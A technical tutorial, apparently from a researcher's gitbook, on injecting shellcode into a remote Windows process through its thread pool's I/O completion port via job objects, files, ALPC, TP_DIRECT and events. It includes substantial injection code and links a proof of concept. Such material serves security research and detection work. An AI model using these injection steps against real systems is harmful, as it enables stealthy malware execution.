

Attacking I/O Ports

 urien.gitbook.io/diago-lima/abusing-tls-callbacks-for-payload-execution/introduction

⋮

Code: <https://github.com/Uri3n/Thread-Pool-Injection-PoC/blob/main/ThreadPoolInjection/IoInject.cpp>

An I/O port is a kernel object that handles a queue of routines. I/O ports can associate themselves with other objects, such as Events, Jobs, Files, and ALPCs. Upon the completion of certain I/O operations, these objects may signal their associated I/O port via an IRP (Info Request Packet). In addition, threads may “wait” on I/O ports that they associate with, and will receive signals from these I/O ports once some kind of completion occurs. Every thread pool has an associated I/O port, as well as dedicated threads that will get signaled by them.

Job Objects

Job Objects are kernel objects used to group processes together as a single unit. They can also associate themselves with I/O ports, making them a perfect target.

Attackers can create their Job Objects by utilizing **CreateJobObjectA**. Next, we can use an undocumented NTDLL export, **TpAllocJobNotification**, to create a structure associated with our malicious callback routine. This is similar to the one that was discussed previously.

```
NTSTATUS TpAllocJobNotification(
    _Out_ PFULL_TP_JOB* JobReturn,
    _In_ HANDLE HJob,
    _In_ PVOID Callback,
    _Inout_opt_ PVOID Context,
    _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron
);
```

Once we’ve allocated some remote memory and written this structure into the process, we can use the **SetInformationJobObject** function to associate it with the thread pool’s I/O port.

```
completionPort.CompletionKey = remoteMemory;

completionPort.CompletionPort = hIoPort;
```

```

if (!SetInformationJobObject(hJob,
JobObjectAssociateCompletionPortInformation,
&completionPort,
sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT))) {
WIN32_ERR(SetInformationJobObject[2]);
return false;
}

```

In basic terms, we're allowing IRPs to be sent to the I/O port once the job object finishes a task, which will in turn cause a waiting worker thread to be signaled, executing the associated I/O completion function for the job object.

In this context, we can signal the I/O port using something simple like **SetInformationJobObject**.

Files#

To associate a file with an I/O port, we'll need to create a file with the **FILE_FLAG_OVERLAPPED** attribute.

```

hFile = CreateFileW(fullFilePath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
nullptr);

```

This flag allows for asynchronous I/O operations on the file and allows it to be associated with a completion port.

After the file is created, we'll use **CreateThreadPoo**llo to create a callback structure, and write it into the remote process.

Lastly, we'll use the semi-documented **NtSetInformationFile** to associate the file with the target I/O port, as well as set its I/O completion routine.

```
fileCompletionInfo.Key = &( reinterpret_cast<PFULL_TP_IO>(pRemoteTpIo)->Direct );
```

```
fileCompletionInfo.Port = hIoPort;
```

```
status = pNtSetInformationFile(hFile,
```

```
&ioStatusBlock,
```

```
&fileCompletionInfo,
```

```
sizeof(FILE_COMPLETION_INFORMATION),
```

```
static_cast<FILE_INFORMATION_CLASS>(61));
```

In case you're confused, a `FILE_INFORMATION_CLASS` of 61 corresponds with setting the file's I/O completion information. Another thing you might have noticed is that the "key" for the file being set here (which is just basically our callback) is being set to the "Direct" member of the remote callback structure, rather than the actual structure itself. We'll get to this later, but keep it in the back of your mind for now.

The next time our dummy file is written to via something like **WriteFile**, the payload will be triggered.

Advanced Local Procedure Calls

Advanced local procedure calls, or ALPCs for short, are kernel objects designed to help facilitate inter-process communication. They are similar in many ways to named pipes, but are considered to be "connection based" rather than named pipes which are connectionless. Two different processes may choose to create a "connection" with one another via an ALPC, to exchange information.

The inner workings of ALPCs are not particularly relevant. What you need to know however is that they can be associated with I/O ports, which we'll be taking advantage of. It's worth noting that many functions in Windows refer to ALPC objects as "ALPC ports". This makes sense, but for simplicity's sake I'll just be referring to them as "ALPC objects".

To be frank, the implementation here is extremely verbose and lengthy, because interactions with ALPC objects are mostly done through native API functions only. For this reason, I'll be omitting most of the code for this section. But you can always take a look at the code in my GitHub repository for full steps.

The creation of an ALPC object is done through **NtAlpcCreatePort**. Next is creating a callback structure as we've been doing already, this time through **TpAllocAlpcCompletion**.

```
status = pTpAllocAlpcCompletion(&pFullTpAlpc,  
hApcPort,  
static_cast<PTP_ALPC_CALLBACK>(payloadAddress),  
nullptr,  
nullptr);
```

Once the callback structure is copied into the remote process, we can use **NtAlpcSetInformation** to associate the ALPC we've created with the target I/O port.

```
ALPC_PORT_ASSOCIATE_COMPLETION_PORT alpcAssocCompletionPort = { 0 };  
alpcAssocCompletionPort.CompletionKey = remoteTpAlpc;  
alpcAssocCompletionPort.CompletionPort = hIoPort;
```

```
status = pNtAlpcSetInformation(hApcPort,  
2,  
&alpcAssocCompletionPort,  
sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT));
```

Lastly, we need to use **NtAlpcConnectPort** to send a message to the ALPC object, which will signal the I/O port.

```
NTSTATUS NtAlpcConnectPort(  
_Out_ PHANDLE PortHandle,  
_In_ PUNICODE_STRING PortName,  
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,  
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,  
_In_ DWORD ConnectionFlags,
```

```

_In_opt_ PSID RequiredServerSid,

_In_opt_ PPORT_MESSAGE ConnectionMessage,

_Inout_opt_ PSIZE_T ConnectMessageSize,

_In_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,

_In_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,

_In_opt_ PLARGE_INTEGER Timeout

);

```

As you can see, the function's parameters are quite long. The main thing you need to understand is that the message is passed through a pointer to a `PORT_MESSAGE` structure. This will contain things like the message length, raw buffer, etcetera. The function's last parameter, **Timeout**, is also crucial here. It specifies the duration of the connection to the ALPC. If we don't specify a timeout, the connection will infinitely block our program, and the malicious callback will never trigger.

```

HANDLE outHandle = nullptr;

status = pNtAlpcConnectPort(&outHandle,

&usAlpcPortName,

&clientAlpcAttributes,

&alpcPortAttributes,

0x20000,

nullptr,

(PORT_MESSAGE)&clientAlpcMessage,

&clientAlpcMessageSize,

nullptr,

nullptr,

&timeout

);

```

Once the connection finishes, the associated I/O port will be signaled and an IRP will be sent, causing a waiting worker thread to execute our payload.

Explicit Object Signaling

TP_DIRECT is a very important struct commonly found within Windows thread pools. Previously in this write-up, we've queued callback structures such as **FULL_TP_JOB**, **FULL_TP_ALPC**, and some others to the target I/O port by writing them into the remote process, and then associating them with I/O objects we create.

```
typedef struct _FULL_TP_ALPC
{
    struct _TP_DIRECT Direct; //< TP_DIRECT is here

    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;

    void* AlpcPort;

    INT32 DeferredSendCount;

    INT32 LastConcurrencyCount;

    union
    {
        UINT32 Flags;

        UINT32 ExTypeCallback : 1;

        UINT32 CompletionListRegistered : 1;

        UINT32 Reserved : 30;
    };

    INT32 __PADDING__[1];
} FULL_TP_ALPC, * PFULL_TP_ALPC;
```

The important thing to note is that these structs don't contain the payload themselves, but rather they point off to it via a special member called **Direct**, which is a structure of type **TP_DIRECT**. Essentially, queueing of a malicious task to an I/O port is always possible as long as the structure has a TP_DIRECT member.

With that being said, it's possible to create one of these structures, without creating a parent structure that wraps around it (like we did before), and to simply manually signal the I/O port with the TP_DIRECT struct as the completion key.

```
TP_DIRECT direct = { 0 };

direct.Callback = payloadAddress; //set the callback member to point to shellcode

//

// Allocate remote memory for the TP_DIRECT structure

//

remoteTpDirect = VirtualAllocEx(targetProcess,

nullptr,

sizeof(TP_DIRECT),

MEM_COMMIT | MEM_RESERVE,

PAGE_READWRITE);

if (!WriteProcessMemory(targetProcess,

remoteTpDirect,

&direct,

sizeof(TP_DIRECT),

nullptr)) {

return false;

}
```

After we write the structure into the process, we can just call **NtSetIoCompletion** to explicitly signal the object. The TP_DIRECT structure will be sent as part of the completion packet, and the payload will then be executed.

```
status = pNtSetIoCompletion(hIoPort, remoteTpDirect, 0, 0, 0);
```

Events#

Events can also be used for I/O port related attacks. We'll be using **CreateThreadPoolWait** to create the initial callback structure. Once that's written into the process via the usual **VirtualAllocEx** and **WriteProcessMemory** combo, we'll need to do something a little odd, that may seem contradictory at first to what we've done previously. We'll be allocating a separate region of memory for a TP_DIRECT structure, even though usually it resides within the other main structure. This is because the native API function that we'll be using to associate the event with the I/O port, **NtAssociateWaitCompletionPacket**, accepts the main callback structure, which we received from **CreateThreadPoolWait**, as well as a separate TP_DIRECT struct.

```
NTSTATUS NtAssociateWaitCompletionPacket(
    _In_ HANDLE WaitCompletionPacketHandle,
    _In_ HANDLE IoCompletionHandle,
    _In_ HANDLE TargetObjectHandle,
    _In_opt_ PVOID KeyContext, //< TP_DIRECT goes here
    _In_opt_ PVOID ApcContext, //< FULL_TP_WAIT (callback) goes here
    _In_ NTSTATUS IoStatus,
    _In_ ULONG_PTR IoStatusInformation,
    _Out_opt_ PBOOLEAN AlreadySignaled
);
```

This is quite unusual, and is the only time that this is the case. Usually, TP_DIRECT is accessed through its parent structure, as seen previously.

In any case, we need to first create our event object using **CreateEventW**.

```
hEvent = CreateEventW(nullptr, FALSE, FALSE, L"Urien's Event Object");
```

Next, we need to associate the target I/O port with our event.

```
status = pNtAssociateWaitCompletionPacket(
    pTpWait->WaitPkt,
```



```
hIoPort,  
hEvent,  
remoteTpDirect,  
remoteTpWait,  
0,  
0,  
nullptr);
```

Lastly, we'll use **SetEvent** to trigger our payload.

```
SetEvent(hEvent);
```